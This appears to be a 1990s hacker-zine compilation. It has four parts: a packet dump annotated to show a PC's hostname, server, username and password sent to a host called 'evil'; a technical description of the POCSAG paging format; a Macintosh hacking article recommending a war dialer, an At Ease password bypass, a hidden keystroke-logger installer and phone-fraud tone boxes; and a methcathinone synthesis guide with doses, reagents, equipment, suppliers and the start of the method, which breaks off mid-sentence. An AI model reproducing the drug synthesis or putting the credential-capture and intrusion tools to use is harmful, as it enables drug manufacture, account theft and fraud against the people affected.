92: 2 3 4 5 6 7 8 9 : ;
|
||
102: < = > ? @ A B C D E
|
||
112: F G H I J K L M N O
|
||
122: P Q R S T U V W X Y
|
||
132: Z [ \ ] ^ _ ` a b c
|
||
142: d e f g h i j k l m
|
||
152: n o p q r s t u v w
|
||
162: x y z { | } ~ 177 200 201
|
||
172: 202 203 204 205 206 207 210 211 212 213
|
||
182: 214 215 216 217 220 221 222 223 224 225
|
||
192: 226 227 230 231 232 233 234 235 236 237
|
||
202: 240 241 242 243 244 245 246 247 250 251
|
||
212: 252 253 254 255 256 257 260 261 262 263
|
||
222: 264 265 266 267 270 271 272 273 274 275
|
||
232: 276 277 300 301 302 303 304 305 306 307
|
||
242: 310 311 312 313 314 315 316 317 320 321
|
||
252: 322 323 324 325 326 327 330 331 332 333
|
||
262: 334 335 336 337 340 341 342 343 344 345
|
||
272: 346 347 350 351 352 353 354 355 356 357
|
||
282: 360 361 362 363 364 365 366 367 370 371
|
||
292: 372 373 374 375 376 377 000 001 002 003
|
||
302: 004 005 006 007 010 011 012 013 014 015
|
||
312: 016 017 020 021 022 023 024 025 026 027
|
||
322: 030 031 032 033 034 035 036 037 !
|
||
332: " # $ % & ' ( ) * +
|
||
342: , - . / 0 1 2 3 4 5
|
||
352: 6 7 8 9 : ; < = > ?
|
||
362: @ A B C D E F G H I
|
||
372: J K L M N O P Q R S
|
||
382: T U V W X Y Z [ \ ]
|
||
392: ^ _ ` a b c d e f g
|
||
402: h i j k l m n o p q
|
||
412: r s t u v w x y z {
|
||
422: | } ~ 177 200 201 202 203 204 205
|
||
432: 206 207 210 211 212 213 214 215 216 217
|
||
442: 220 221 222 223 224 225 226 227 230 231
|
||
452: 232 233 234 235 236 237 240 241 242 243
|
||
462: 244 245 246 247 250 251 252 253 254 255
|
||
472: 256 257 260 261 262 263 264 265 266 267
|
||
482: 270 271 272 273 274 275 276 277 300 301
|
||
492: 302 303 304 305 306 307 310 311 312 313
|
||
502: 314 315 316 317 320 321 322 323 324 325
|
||
512: 326 327 330 331 332 333 334 335 336 337
|
||
522: 340 341 342 343 344 345 346 347 350 351
|
||
532: 352 353 354 355 356 357 360 361 362 363
|
||
542: 364 365 366 367 370 371 372 373 374 375
|
||
552: 376 377 000 001 002 003 004 005 006 007
|
||
562: 010 011 012 013 014 015 016 017 020 021
|
||
572: 022 023 024 025 026 027 030 031 032 033
|
||
582: 034 035 036 037 ! " # $ %
|
||
592: & ' ( ) * + , - . /
|
||
602: 0 1 2 3 4 5 6 7 8 9
|
||
612: : ; < = > ? @ A B C
|
||
622: D E F G H I J K L M
|
||
632: N O P Q R S T U V W
|
||
642: X Y Z [ \ ] ^ _ ` a
|
||
652: b c d e f g h i j k
|
||
662: l m n o p q r s t u
|
||
672: v w x y z { | } ~ 177
|
||
682: 200 201 202 203 204 205 206 207 210 211
|
||
692: 212 213 214 215 216 217 220 221 222 223
|
||
702: 224 225 226 227 230 231 232 233 234 235
|
||
712: 236 237 240 241 242 243 244 245 246 247
|
||
722: 250 251 252 253 254 255 256 257 260 261
|
||
732: 262 263 264 265 266 267 270 271 272 273
|
||
742: 274 275 276 277 300 301 302 303 304 305
|
||
752: 306 307 310 311 312 313 314 315 316 317
|
||
762: 320 321 322 323 324 325 326 327 330 331
|
||
772: 332 333 334 335 336 337 340 341 342 343
|
||
782: 344 345 346 347 350 351 352 353 354 355
|
||
792: 356 357 360 361 362 363 364 365 366 367
|
||
802: 370 371 372 373 374 375 376 377 000 001
|
||
812: 002 003 004 005 006 007 010 011 012 013
|
||
822: 014 015 016 017 020 021 022 023 024 025
|
||
832: 026 027 030 031 032 033 034 035 036 037
|
||
842: ! " # $ % & ' ( )
|
||
852: * + , - . / 0 1 2 3
|
||
862: 4 5 6 7 8 9 : ; < =
|
||
872: > ? @ A B C D E F G
|
||
882: H I J K L M N O P Q
|
||
892: R S T U V W X Y Z [
|
||
902: \ ] ^ _ ` a b c d e
|
||
912: f g h i j k l m n o
|
||
922: p q r s t u v w x y
|
||
932: z { | } ~ 177 200 201 202 203
|
||
942: 204 205 206 207 210 211 212 213 214 215
|
||
952: 216 217 220 221 222 223 224 225 226 227
|
||
962: 230 231 232 233 234 235 236 237 240 241
|
||
972: 242 243 244 245 246 247 250 251 252 253
|
||
982: 254 255 256 257 260 261 262 263 264 265
|
||
992: 266 267 270 271 272 273 274 275 276 277
|
||
1002: 300 301 302 303 304 305 306 307 310 311
|
||
1012: 312 313 314 315 316 317 320 321 322 323
|
||
1022: 324 325 326 327 330 331 332 333 334 335
|
||
1032: 336 337 340 341 342 343 344 345 346 347
|
||
1042: 350 351 352 353 354 355 356 357 360 361
|
||
1052: 362 363 364 365 366 367 370 371 372 373
|
||
1062: 374 375 376 377 000 001 002 003 004 005
|
||
1072: 006 007 010 011 012 013 014 015 016 017
|
||
1082: 020 021 022 023 024 025 026 027 030 031
|
||
1092: 032 033 034 035 036 037 ! " #
|
||
1102: $ % & ' ( ) * + , -
|
||
1112: . / 0 1 2 3 4 5 6 7
|
||
1122: 8 9 : ; < = > ? @ A
|
||
1132: B C D E F G H I J K
|
||
1142: L M N O P Q R S T U
|
||
1152: V W X Y Z [ \ ] ^ _
|
||
1162: ` a b c d e f g h i
|
||
1172: j k l m n o p q r s
|
||
1182: t u v w x y z { | }
|
||
1192: ~ 177 200 201 202 203 204 205 206 207
|
||
1202: 210 211 212 213 214 215 216 217 220 221
|
||
1212: 222 223 224 225 226 227 230 231 232 233
|
||
1222: 234 235 236 237 240 241 242 243 244 245
|
||
1232: 246 247 250 251 252 253 254 255 256 257
|
||
1242: 260 261 262 263 264 265 266 267 270 271
|
||
1252: 272 273 274 275 276 277 300 301 302 303
|
||
1262: 304 305 306 307 310 311 312 313 314 315
|
||
1272: 316 317 320 321 322 323 324 325 326 327
|
||
1282: 330 331 332 333 334 335 336 337 340 341
|
||
1292: 342 343 344 345 346 347 350 351 352 353
|
||
1302: 354 355 356 357 360 361 362 363 364 365
|
||
1312: 366 367 370 371 372 373 374 375 376 377
|
||
1322: 000 001 002 003 004 005 006 007 010 011
|
||
1332: 012 013 014 015 016 017 020 021 022 023
|
||
1342: 024 025 026 027 030 031 032 033 034 035
|
||
1352: 036 037 ! " # $ % & '
|
||
1362: ( ) * + , - . / 0 1
|
||
1372: 2 3 4 5 6 7 8 9 : ;
|
||
1382: < = > ? @ A B C D E
|
||
1392: F G H I J K L M N O
|
||
1402: P Q R S T U V W X Y
|
||
1412: Z [ \ ] ^ _ ` a b c
|
||
1422: d e f g h i j k l m
|
||
1432: n o p q r s t u v w
|
||
1442: x y z { | } ~ 177 200 201
|
||
1452: 202 203 204 205 206 207 210 211 212 213
|
||
1462: 214 215 216 217 220 221 222 223 224 225
|
||
1472: 226 227 230 231 232 233 234 235 236 237
|
||
1482: 240 241 242 243 244 245 246 247 250 251
|
||
|
||
19:03:48.85
|
||
ip: pchost.victim.com->evil
|
||
icmp: echo reply
|
||
62: 024 025 026 027 030 031 032 033 034 035
|
||
72: 036 037 ! " # $ % & '
|
||
82: ( ) * + , - . / 0 1
|
||
92: 2 3 4 5 6 7 8 9 : ;
|
||
102: < = > ? @ A B C D E
|
||
112: F G H I J K L M N O
|
||
122: P Q R S T U V W X Y
|
||
132: Z [ \ ] ^ _ ` a b c
|
||
142: d e f g h i j k l m
|
||
152: n o p q r s t u v w
|
||
162: x y z { | } ~ 177 200 201
|
||
172: 202 203 204 205 206 207 210 211 212 213
|
||
182: 214 215 216 217 220 221 222 223 224 225
|
||
192: 226 227 230 231 232 233 234 235 236 237
|
||
202: 240 241 242 243 244 245 246 247 250 251
|
||
212: 252 253 254 255 256 257 260 261 262 263
|
||
222: 264 265 266 267 270 271 272 273 274 275
|
||
232: 276 277 300 301 302 303 304 305 306 307
|
||
242: 310 311 312 313 314 315 316 317 320 321
|
||
252: 322 323 324 325 000 000 324 005 ^ $
|
||
262: : 004 000 000 000 000 000 000 000 000
|
||
272: 036 006 W V P S Q R 016 007
|
||
282: 277 ^ $ 213 367 350 X p r c
|
||
292: 212 E " < 000 u 005 350 V 003
|
||
302: 353 W < 005 u 005 350 W 002 353
|
||
312: N < 010 u 007 306 006 325 # 001
|
||
322: 353 H < 015 u 007 306 006 325 #
|
||
332: 001 353 = < 017 u 007 306 006 325
|
||
342: # 001 353 2 < 022 u 005 350 021
|
||
352: 002 353 $ < 003 u 005 350 9 003
|
||
362: 353 033 < 022 w 017 2 344 213 360
|
||
372: 212 204 300 # P 350 225 305 X 353
|
||
382: 010 P 270 c 000 350 213 305 X 306
|
||
392: 006 205 347 000 Z Y [ X ^ _
|
||
402: 007 037 313 P S Q R U 036 006
|
||
412: W V 214 310 216 330 216 300 306 006
|
||
422: 325 # 000 373 277 ^ $ 273 A 347
|
||
432: 271 006 000 215 6 d $ 212 004 210
|
||
442: 005 212 007 210 004 F G C 342 363
|
||
452: 241 x $ 243 | $ 241 z $ 243
|
||
462: ~ $ 241 324 ) 243 x $ 241 326
|
||
472: ) 243 z $ 277 ^ $ 212 E "
|
||
482: < 010 u 015 P 270 ` 000 350 $
|
||
492: 305 X 350 275 001 353 022 < 015 u
|
||
502: 012 P 270 a 000 350 023 305 X 353
|
||
512: 004 < 017 u 003 350 017 000 306 006
|
||
522: 205 347 000 ^ _ 007 037 ] Z Y
|
||
532: [ X 303 P 270 < 000 350 363 304
|
||
542: X 307 E $ 000 000 215 u " 213
|
||
552: M 020 206 351 203 351 024 367 301 001
|
||
562: 000 t 006 213 331 306 000 000 A 321
|
||
572: 371 350 , o 211 ] $ 307 E 030
|
||
582: 000 000 215 u 016 271 012 000 350 033
|
||
592: o 211 ] 030 213 E 020 206 340 005
|
||
602: 016 000 243 ` % 211 > b % 214
|
||
612: 016 d % 277 ^ % . 376 006 ?
|
||
622: 020 350 9 276 . 376 016 ? 020 303
|
||
632: & 213 E 002 013 300 t 020 243 326
|
||
642: # & 213 ] 004 211 036 330 # 350
|
||
652: 231 m 353 0 200 > 324 ) 000 t
|
||
662: 033 & 203 } 006 000 t 024 203 >
|
||
672: 326 # 000 u 015 350 031 000 203 >
|
||
682: 326 # 000 t 003 350 u m 241 326
|
||
692: # & 211 E 002 241 330 # & 211
|
||
702: E 004 303 & 213 M 006 006 V W
|
||
712: 016 007 272 000 000 277 334 # 350 $
|
||
722: 000 241 323 # 243 350 X 203 > 326
|
||
732: # 000 u 023 366 006 343 015 001 u
|
||
742: 014 203 > 350 X 000 u 353 272 001
|
||
752: 000 342 332 _ ^ 007 303 Q R W
|
||
762: 203 372 000 u 021 203 > 030 214 000
|
||
772: t 012 276 004 214 271 003 000 363 245
|
||
782: 353 010 270 377 377 271 003 000 363 253
|
||
792: 276 A 347 271 003 000 363 245 _ 270
|
||
802: 377 377 211 E 036 211 E 241 324
|
||
812: ) 211 E 032 241 326 ) 211 E 034
|
||
822: 270 000 206 340 211 E 020 306 E
|
||
832: 016 E 306 E 017 000 307 E 022 000
|
||
842: 000 307 E 024 000 000 306 E 026 002
|
||
852: 306 E 027 001 307 E 014 010 000 3
|
||
862: 300 306 E " 021 210 E # 211 E
|
||
872: & 211 E ( 350 250 376 Z Y 303
|
||
882: 200 > 326 # 000 u 014 213 E *
|
||
892: 243 326 # 213 E , 243 330 # P
|
||
902: 270 V 000 350 205 303 X 303 P S
|
||
912: Q R 213 E : 213 ] < 213 M
|
||
922: & 213 U ( 350 223 k Z Y [
|
||
932: X P 270 \ 000 350 e 303 X 303
|
||
942: 306 E " 000 P 270 X 000 350 X
|
||
952: 303 X 303 & 213 E 002 & 213 ]
|
||
962: 004 & 213 U 006 006 W 016 007 350
|
||
972: Y i s 003 351 227 000 277 334 #
|
||
982: W 271 003 000 363 245 276 A 347 271
|
||
992: 003 000 363 245 _ 211 E 036 211 ]
|
||
1002: 241 324 ) 211 E 032 241 326 )
|
||
1012: 211 E 034 270 000 206 340 211 E
|
||
1022: 020 306 E 016 E 306 E 017 000 307
|
||
1032: E 022 000 000 307 E 024 000 000 306
|
||
1042: E 026 377 306 E 027 001 307 E 014
|
||
1052: 010 000 3 300 306 E " 010 210 E
|
||
1062: # 211 E & 377 006 h % 241 h
|
||
1072: % 211 E ( 211 026 350 X 211 026
|
||
1082: l % 307 006 j % 000 000 350 322
|
||
1092: 375 203 > 350 X 000 t # 366 006
|
||
1102: 343 015 001 u ! 203 > j % 000
|
||
1112: t 353 203 > j % 001 u 011 241
|
||
1122: l % + 006 350 X 353 015 270 375
|
||
1132: 377 353 010 270 376 377 353 003 270 377
|
||
1142: 377 307 006 l % 000 000 _ 007 &
|
||
1152: 211 E 010 303 P 270 ^ 000 350 206
|
||
1162: 302 X 203 > l % 000 t 017 213
|
||
1172: ] ( ; 036 h % u 006 307 006
|
||
1182: j % 001 000 303 P 270 ; 000 350
|
||
1192: g 302 X 203 > l % 000 t 006
|
||
1202: 307 006 j % 002 000 303 000 000 000
|
||
1212: 000 000 000 000 000 000 000 000 000 000
|
||
1222: 000 000 000 000 000 000 000 000 000 000
|
||
1232: 000 000 000 000 000 000 000 000 000 000
|
||
1242: 000 000 000 000 000 000 000 000 002 000
|
||
1252: 000 000 300 A 000 000 034 000 000 000
|
||
1262: 200 000 000 000 k 000 000 000 000 016
|
||
1272: 000 000 000 000 000 000 000 000 000
|
||
1282: 010 000 000 000 252 001 000 000 010 5
|
||
1292: 000 000 r 027 301 . 000 000 000 000
|
||
1302: 036 F 300 . 000 000 000 000 036 F
|
||
1312: 300 . 000 000 000 000 000 000 000 000
|
||
1322: 000 000 000 000 000 000 000 000 000 000
|
||
1332: 000 000 000 000 000 000 000 000 000 000
|
||
1342: 000 000 000 000 000 000 000 000 000
|
||
1352: 000 000 000 002 000 000 200 366 = 000
|
||
1362: { 255 023 000 242 265 015 000 002 000
|
||
1372: 000 000 S 017 005 000 C 003 000 000
|
||
1382: p c h o s t 000 000 000 000
|
||
1392: 000 000 000 000 000 000 244 A @ -
|
||
1402: s e r v e r 1 000 000 000
|
||
1412: 000 000 000 000 000 000 244 A @ 001
|
||
1422: 000 000 000 000 000 000 000 000 000 000
|
||
1432: 000 000 000 000 000 000 244 A @ 001
|
||
1442: u s e r n a m e 000 000
|
||
1452: p a s s w d 000 000 000 000
|
||
1462: 000 000 000 000 000 000 000 000 000 000
|
||
1472: 000 000 000 000 000 000 000 000 000 000
|
||
1482: 000 000 200 000 k 000 260 271 377 377
|
||
1492: 344 275 9 212
|
||
|
||
The names have been changed to protect the innocent, but the rest is actual.
|
||
|
||
Byte 1382: PC's hostname
|
||
Byte 1402: PC's Authentication server hostname
|
||
Byte 1382: The user's account name. Shows nobody if logged out.
|
||
Byte 1382: The user's password.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
POCSAG paging format, code and code capacity
|
||
|
||
The POCSAG (Post Office Code Standardization Advisory Group) code is a
|
||
synchronous paging format that allows pages to be transmitted in a SINGLE-BATCH
|
||
structure. The POCSAG codes provides improved battery-saving capability and an
|
||
increased code capacity.
|
||
The POCSAG code format consists of a preamble and one or more batches of
|
||
codewords. Each batch comprises a 32-bit frame synchronization code and eight
|
||
64-bit address frames of two 32-bit addresses or idle codewords each. The
|
||
frame synchronization code marks the start of the batch of codewords.
|
||
|
||
-PREAMBLE STRUCTURE
|
||
The preamble consists of 576 bits of an alternating 101010 pattern transmitted
|
||
at a bit rate of 512 or 1200 bps. The decoder uses the preamble both to
|
||
determine if the data received is a POCSAG signal and for synchronization with
|
||
the stream of data.
|
||
|
||
|---Preamble----|-----------First Batch-------------|--Subsec. Batch--|
|
||
|
||
______________________________________________________< <____________
|
||
paging | 576 bits of | | | | | | | | | | | > > |
|
||
format | reversals |F| | | | | | | | | | | | | | | | |F| |
|
||
| (101010, etc) |S| | | | | | | | | | | | | | | | |S| |
|
||
|_______________|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|__< <____________|
|
||
> >
|
||
1 FRAME = 2 CODEWORDS
|
||
|
||
Preamble Batchs
|
||
|
||
512 BPS 1125 mS 1062.5 mS
|
||
|
||
1200 BPS 480 mS 453.3 mS
|
||
|
||
CodeWords Structure
|
||
____________________________________________________________________
|
||
BIT | | | | | |
|
||
NUMBER | 1 | 2 to 19 | 20,21 | 22 to 31 | 32 |
|
||
|___|______________|_______|_______________________|_________________|
|
||
____________________________________________________________________
|
||
ADDRESS| | | | | |
|
||
FORMAT | 0 | Address Bits | S I B | Parity Check Bits | Even parity |
|
||
|___|______________|_______|_______________________|_________________|
|
||
^
|
||
Source identifier bits
|
||
____________________________________________________________________
|
||
MESSAGE| | | | |
|
||
FORMAT | 1 | Message Bits | Parity Check Bits | Even parity |
|
||
|___|______________________|_______________________|_________________|
|
||
|
||
-BATCH STRUCTURE
|
||
A batch consist of frame synchronization code follow by 8 frames of two address
|
||
codewords per frame (16 address codewords per batch). In order to maintain the
|
||
proper batch structure, each frame is filled with two address codewords, or two
|
||
idle codewords, or two message codewords, or any appropriate combination of the
|
||
three codewords types.
|
||
|
||
-FRAME SYNCHRONIZATION CODE STRUCTURE
|
||
The frame synchronization (FS) code is a unique, reserved word that is used to
|
||
identify the beginning of each batch. The FS code comprises the 32 bits:
|
||
|
||
011111100110100100001010111011000.
|
||
|
||
-OPTIONAL ALTERNATE FRAME SYNCHRONIZATION CODEWORDS
|
||
An alternate frame synchronization (AFS) code can be selected to support special
|
||
systems or systems that require increased coding capability. The AFS is
|
||
generated in the same manner as an address codeword (i.e., BCH codeword with
|
||
parity bits). The POCSAG signaling standard has reserved special codewords for
|
||
the AFS from 2,000,000 to 2,097,151. The use of the AFS requires the paging
|
||
system to support the AFS. The AFS will change to frame 0 on the programmer
|
||
since no frame information is included in the AFS. The AFS should use address
|
||
1 so that bit 20 and 21 are 0.
|
||
|
||
-ADDRESS CODEWORD STRUCTURE
|
||
An address codeword's first bit (bit 1) is always a zero. Bits 2 through 19 are
|
||
the address bits. The pagers looks at these bits to find its own unique
|
||
address. Each POCSAG codeword is capable of providing address information for
|
||
four different paging sources (Address 1 to 4). These address are determined
|
||
by combinations of values of bits 20 and 21 ( the source-identifier bits). Bits
|
||
22 through 31 are the parity check bits, and bit 32 is the even parity bit.
|
||
|
||
|
||
BIT 20 BIT 21
|
||
Address 1 0 0
|
||
Address 2 0 1
|
||
Address 3 1 0
|
||
Address 4 1 1
|
||
|
||
Pre-coded into the code plug are three bits which designate the frame location,
|
||
within each batch, at which the pager's address is to be received; the decoder
|
||
will look at the codewords in this frame for its address.
|
||
Power is removed from the receiver during all frames other than the precoded
|
||
one, thus extending pager battery life.
|
||
|
||
-CODE CAPACITY
|
||
The combination of the code plug's three pre-coded frame location bits and address codeword's 18 address bits provides over two million different assignable codes. In this combination, the frame location bits are the least-significant bits, and the addres
|
||
s
|
||
bits are the most-significant bits.
|
||
|
||
-MESSAGE CODEWORD STRUCTURE
|
||
A message codeword structure always start with a 1 in bit 1 and always follows
|
||
directly after the address. Each message codeword replaces an address codeword
|
||
in the batch.
|
||
|
||
-IDLE CODEWORD STRUCTURE
|
||
The idle codeword is unique, reserved codeword used to talk place of an address
|
||
in any frame that would not otherwise be filled with 64 bits.
|
||
Thus, if a frame contains only an address, an idle codeword comprises the 32
|
||
bits:
|
||
|
||
01111010100010011100000110010111
|
||
|
||
-POCSAG CHARACTERS
|
||
|
||
CHAR HEX | CHAR HEX | CHAR HEX |
|
||
| | |
|
||
# 23 | $ 24 | @ 40 |
|
||
[ 5B | \ 5C | ] 5D |
|
||
^ 5E | _ 5F | ' 60 |
|
||
{ 7B | | 7C | } 7D |
|
||
~ 7E | DEL 7F | SP 20 |
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
MACINTOSH HACKING
|
||
by Logik Bomb
|
||
|
||
"My fellow astronauts..."
|
||
-Dan Quayle
|
||
|
||
Now, two people have mailed Erik Bloodaxe asking about Macintosh
|
||
hacking particularly war dialers, and each time he insulted Macs and tried
|
||
to get someone to write a file on it. No one has done it. So I guess I have
|
||
to.
|
||
First, some words on Macintoshes. Steve Jobs and Steve Wozniak, the
|
||
originators of the Apple and the Macintosh were busted for phreaking in
|
||
college. The Apple IIe was used almost universally by hackers. So why has
|
||
the Mac fallen out of favor for hacking? Simple. Because it fell out of
|
||
favor for everything else. Apple screwed up and wouldn't let clone makers
|
||
license the MacOS. As a result, 80% of personal computers run DOS, and
|
||
Macintoshes are left in the minority. Second, DOS compatible users, and
|
||
hackers in particular, have an image of Mac users as a bunch of whiny
|
||
lamers who paid too much for a computer and as a result are constantly
|
||
defensive. The solution to this impression is to not be an asshole. I know
|
||
it drives every Mac user crazy when he reads some article about Windows
|
||
95's brand new, advanced features such as "plug-and-play" that the
|
||
Macintosh has had since 1984. But just try and take it. If it's any
|
||
consolation, a lot of IBM-compatible (a huge misnomer, by the way) users
|
||
hate Windows too.
|
||
Now, on with the software.
|
||
-------------------------
|
||
Assault Dialer 1.5
|
||
Assault Dialer, by Crush Commando, is the premier Mac war dialer,
|
||
the Mac's answer to ToneLoc. It has an ugly interface, but it's the best we
|
||
have right now. It is the successor to a previous war dialer known as Holy
|
||
War Dialer 2.0. The only real competitor I've heard of for Assault Dialer
|
||
is Tyrxis Shockwave 2.0, but the only version I could get a hold of was
|
||
1.0, and it wasn't as good as Assault Dialer, so that's your best bet right
|
||
now.
|
||
|
||
MacPGP 2.6.2 and PGPfone 1.0b4
|
||
MacPGP is the Macintosh port of the infamous PGP (Pretty Good
|
||
Privacy.) This file is not about cryptography, so if you want to know about
|
||
PGP read the fuckin' read me and docs that come with the file. Strangely
|
||
enough, however, Phil Zimmerman released PGPfone, a utility for encrypting
|
||
your phone and making it a secure line, for the Mac _first._ I don't know
|
||
why, and I haven't had a chance to test it, but the idea's pretty cool. If
|
||
PGP doesn't get Zimmerman thrown in jail, this will.
|
||
|
||
DisEase 1.0 and DisEase 3.0
|
||
Schools and concerned parents have always had a problem. Schools
|
||
can't have students deleting the hard drive, and parents don't want their
|
||
kids looking at the kinky pictures they downloaded. So Apple came out with
|
||
At Ease, an operating system that runs over System 7, sort of the same way
|
||
Windows runs off of DOS. However, I can't stand At Ease. Everything about
|
||
it, from the Fisher-Price screen to the interface drives me crazy. It
|
||
drives a lot of other people crazy too. So it was just a matter of time
|
||
before someone made a program to override it. The first was DisEase 1.0, a
|
||
small program by someone calling himself Omletman, that would override At
|
||
Ease if you put in a floppy loaded with it and clicked six times. Omletman
|
||
improved this design and eventually released 3.0. (I haven't been able to
|
||
find any evidence that a 2.0 was ever released) 3.0 has such cool features
|
||
as reading the preferences file to give you the password, so you can change
|
||
the obnoxious greeting teachers always put to something more sinister. The
|
||
only problem with 3.0 is that some configurations of At Ease only let
|
||
documents be read off of disks; no applications, which means DisEase 3.0
|
||
won't appear, and so you can't run it. However, with 1.0 you don't have to
|
||
actually open the application, you just click six times, so if you use 1.0
|
||
to get to the finder, and then 3.0 to read the passwords, things will work.
|
||
|
||
Invisible Oasis Installer
|
||
Oasis is a keystroke recorder, so you can find out passwords.
|
||
However, with the original Oasis, you had to put it in the Extensions
|
||
folder and make it invisible with ResEdit, which takes a while. Invisible
|
||
Oasis Installer, however, installs it where it should be and automatically
|
||
makes it invisible.
|
||
"So everything's wrapped up in a nice neat little _package_, then?"
|
||
-Homer Simpson
|
||
|
||
Anonymity 2.0 and Repersonalize 1.0
|
||
Anonymity, version 1.2, was a rather old program whose author has
|
||
long been forgotten that was the best data fork alterer available. It
|
||
removed the personalization to programs. However, in around 1990 someone
|
||
named the Doctor made 2.0, a version with some improvements. Repersonalize
|
||
was made in 1988 (God, Mac hacking programs are old) which reset
|
||
personalization on some of the Microsoft and Claris programs, so you could
|
||
enter a different personalization name. I don't know if it will still work
|
||
on Microsoft Word 6.0.1 and versions of programs released recently, but I
|
||
don't really care because I use Word 5.1a and I'm probably not going to
|
||
upgrade for a while.
|
||
|
||
Phoney (AKA Phoney4Mac)
|
||
Phoney is an excellent program that emulates the Blue Box, Red Box,
|
||
Black Box and Green Box tones. There is also Phoney4Newton, which does the
|
||
same thing on the most portable of computers, the Newton.
|
||
|
||
That's all I'm covering in this file as far as Mac hacking
|
||
programs. You'll probably want to know where to find all this crap, so here
|
||
are all of the Mac hacking ftp and Web sites I know of:
|
||
Space Rogue's Whacked Mac Archives (http://l0pht.com/~spacerog/index.html)
|
||
This site, run by Space Rogue is L0pht Heavy Industries' Mac site.
|
||
It is probably the largest and best archive of Mac hacking software
|
||
connected to the Internet. The problem with this is that it can't handle
|
||
more than two anonymous users, meaning that unless you pay to be part of
|
||
L0pht, you will never get into this archive. I've tried getting up at 4:30
|
||
AM, thinking that no one in their right mind would possibly be awake at
|
||
this time, but there is always, somehow, somewhere, two people in Iceland
|
||
or Singapore or somewhere on this site.
|
||
The Mac Hacking Home Page (http://www.aloha.com/~seanw/index.html)
|
||
This site does not look like much, and it is fairly obvious that
|
||
its maintainer, Sean Warren, is still learning HTML, but it is reliable and
|
||
is a good archive. It is still growing, probably due to the fact that it is
|
||
one of the only Internet Mac hacking sites anyone can get to and upload.
|
||
Kn0wledge Phreak <k0p> (http://www.uccs.edu/~abusby/k0p.html)
|
||
This is an excellent site and has many good programs. There is one
|
||
catch, however. It's maintainer, Ole Buzzard, is actually getting the files
|
||
from his BBS. So many of the really good files are locked away in the k0p
|
||
BBS, and those of us who can't pay long distance can't get the files. Oh
|
||
well.
|
||
Bone's H/P/C Page o' rama- part of the Cyber Rights Now! home page
|
||
(http://www.lib.iup.edu/~seaman/index.html)
|
||
While this is hardly a Macintosh hacking site, it's just a hacking
|
||
site, it does have very few Mac files, some of which are hard to get to.
|
||
However, Bone might get expelled because of a long story involving AOHell,
|
||
so this page might not be here. Then again, maybe Bone won't get expelled
|
||
and this site will stay. Never can tell 'bout the future, can you?
|
||
"We predict the future. We invent it."
|
||
-Nasty government guy on the season premiere of _The X-Files_
|
||
|
||
Andy Ryder
|
||
Netsurfer and Road Warrior on the Info Highway
|
||
I've pestered Bruce Sterling _and_ R.U. Sirius!
|
||
As mentioned in the alt.devilbunnies FAQ, part I (Look it up!)
|
||
Once scored 29,013,920 points on Missile Command
|
||
|
||
"This Snow Crash thing- is it a virus, a drug, or a religion?"
|
||
-Hiro Protagonist
|
||
"What's the difference?"
|
||
-Juanita Marquez
|
||
|
||
"...one person's 'cyberpunk' is another's everyday obnoxious teenager with
|
||
some technical skill thrown in..."
|
||
-Erich Schneider, "alt.cyberpunk Frequently Asked Questions List"
|
||
"More than _some_ technical skill."
|
||
-Andy Ryder
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
Making Methcathinone
|
||
|
||
Compiled
|
||
|
||
by Anonymous
|
||
|
||
|
||
Ok, this has got to be the easiest drug made at home (by far). This is very
|
||
similar to methamphetamine in structure, effect, and use. Typical doses
|
||
start at 20mg up to 60mg. Start low, go slow. Cat can be taken orally (add
|
||
10 mg) or through mucous membranes (nasally).
|
||
|
||
Ingredients:
|
||
Diet pills, or bronchodilator pills (1000 ea) containing 25mg ephedrine.
|
||
Potassium chromate, or dichromate (easily gotten from chem lab. orange/red)
|
||
Conc. Sulfuric acid - it's up to you where you get this. Contact me if you
|
||
need help locating it.
|
||
Hydrochloric acid or Muriatic acid - Pool supply stores, hardware stores, it
|
||
is used for cleaning concrete.
|
||
Sodium Hydroxide - Hardware stores. AKA lye.
|
||
Toluene - Hardware store, paint store.
|
||
|
||
Lab equipment:
|
||
1 liter, 3 neck flask - get it from school or Edmund's Scientific ($20.00)
|
||
125 mL separatory funnel - same as above
|
||
glass tubing - same as above
|
||
|
||
Buchner funnel - This is a hard to find item, but must schools have at least
|
||
one. They are usually white porcelain or plastic. They look
|
||
like a funnel with a flat disk in the bottom with lots of
|
||
holes in it. If you need one, arrangements can be made.
|
||
Aspirator or vacuum pump - Any lab-ware supply catalog, about $10.00
|
||
|
||
References to Edmund's Scientific Co, in NJ, are accurate. You have to go
|
||
to their "Lab Surplus/Mad Scientist" room. The prices are incredible.
|
||
This place is definitely a recommended stopping sight for anybody going
|
||
through New Jersey. It is located in "Barrington", about 30 minutes from
|
||
center city Philadelphia.
|
||
All of the above can be purchased from "The Al-Chymist". Their number is
|
||
(619)948-4150. Their address is: 17525 Alder #49
|
||
Hesperia, Ca 92345
|
||
Call and ask for a catalog.
|
||
|
||
That's it. The body of this article is stolen from the third edition of
|
||
"Secrets of Methamphetamine Manufacture" by Uncle Fester. This is a tried
|
||
and proven method by many people. If you want a copy of this book, contact
|
||
me.
|
||
|
||
Good luck and keep away from the DEA
|
||
|
||
|
||
M E T H C A T H I N O N E
|
||
|
||
K I T C H E N I M P R O V I E S E D C R A N K
|
||
|
||
|
||
The latest designer variant upon the amphetamine molecule to gain
|
||
popularity and publicity is methcathinone, commonly called cat. This
|
||
substance is remarkably similar to the active ingredient found in the
|
||
leaves of the khat tree which the loyal drug warriors on the network news
|
||
blame for turning peace loving Somalis into murderous psychopaths. The
|
||
active ingredient in the khat leaves is cathinone, which has the same
|
||
structural relationship to methcathinone that amphetamine has to
|
||
methamphetamine. It is made by oxidizing ephedrine, while meth can be
|
||
made by reducing ephedrine.
|
||
|
||
The high produced by methcathinone is in many ways similar to
|
||
methamphetamine. For something so easily made and purified, it is
|
||
actually quite enjoyable. the main differences between the meth high and
|
||
the methcathinone high are length of action and body fell. With
|
||
methcathinone, one can expect to still get to sleep about 8 hours after a
|
||
large dose. On the down side, it definitely gives me the impression that
|
||
the substance raises the blood pressure quite markedly. This drug may not
|
||
be safe for people with weak hearts of blood vessels. Be warned!
|
||
|
||
Cat is best made using chrome in the +6 oxidation state as the
|
||
oxidizer. I recall seeing an article in the narco swine's Journal of
|
||
Forensic Science bragging about how they worked out a method for making it
|
||
using permanganate, but that method gives an impure product in low yields.
|
||
Any of the common hexavalent chrome salts can be used as the oxidizer in
|
||
